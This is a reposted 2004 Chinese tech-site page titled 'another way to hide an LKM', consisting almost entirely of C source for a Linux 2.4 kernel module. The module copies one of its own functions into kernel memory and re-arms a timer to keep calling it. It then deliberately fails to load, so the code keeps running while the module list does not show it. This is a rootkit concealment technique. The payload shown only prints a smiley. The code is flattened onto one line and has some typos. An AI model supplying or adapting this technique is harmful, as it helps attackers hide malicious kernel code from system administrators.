首页 电脑 电脑学堂 查看内容

另外一种隐藏LKM的方法

2004-9-29 20:05 511 0

摘要: //gcc -I /usr/src/linux-2.4/include -c 1.c #define MODULE #define __KERNEL__ #define LINUX #include ...
关键词: nbsp struct include ghost timer gs MODULE printk unsigned define

//gcc -I /usr/src/linux-2.4/include -c 1.c #define MODULE #define __KERNEL__ #define LINUX #include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/types.h> #include <linux/errno.h> #include <linux/mm.h> #include <linux/smp_lock.h> #include <asm/uaccess.h> #include <linux/timer.h> #ifndef list_for_each_safe #define list_for_each_safe(pos, n, head)     for (pos = (head)->next, n = pos->next; pos != (head);         pos = n, n = pos->next) #endif struct ghost_struct {     struct timer_list     tl;     char             buf[32];     int             (*printk)(const char *fmt, ...);     void             (*add_timer)(struct timer_list *timer) }; void ghost(unsigned long ptr) {     struct ghost_struct     *gs=(struct ghost_struct*)ptr;     gs->printk(gs->buf);     gs->tl.expires=jiffies+3*HZ;     gs->add_timer(&gs->tl); } int init_module(void) {     struct ghost_struct     *gs;     gs=(struct ghost_struct *)kmalloc((unsigned long)init_module-(unsignedlong)ghost+sizeof(struct ghost_struct),GFP_KERNEL);     if (!gs) {         printk(KERN_EMERG"kmalloc error!n");         return(-1);     }     memcpy((char *)gs+sizeof(struct ghost_struct),(char *)ghost,(unsignedlong)init_module-(unsigned long)ghost);     init_timer(&gs->tl);     snprintf(gs->buf,32,KERN_EMERG":)n");     gs->printk=printk;     gs->tl.function=(char *)gs+sizeof(struct ghost_struct);     gs->tl.data=(unsigned long)gs;     gs->tl.expires=jiffies+3*HZ;     gs->add_timer=add_timer;     add_timer(&gs->tl);     return(-1); } MODULE_LICENSE("GPL");
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部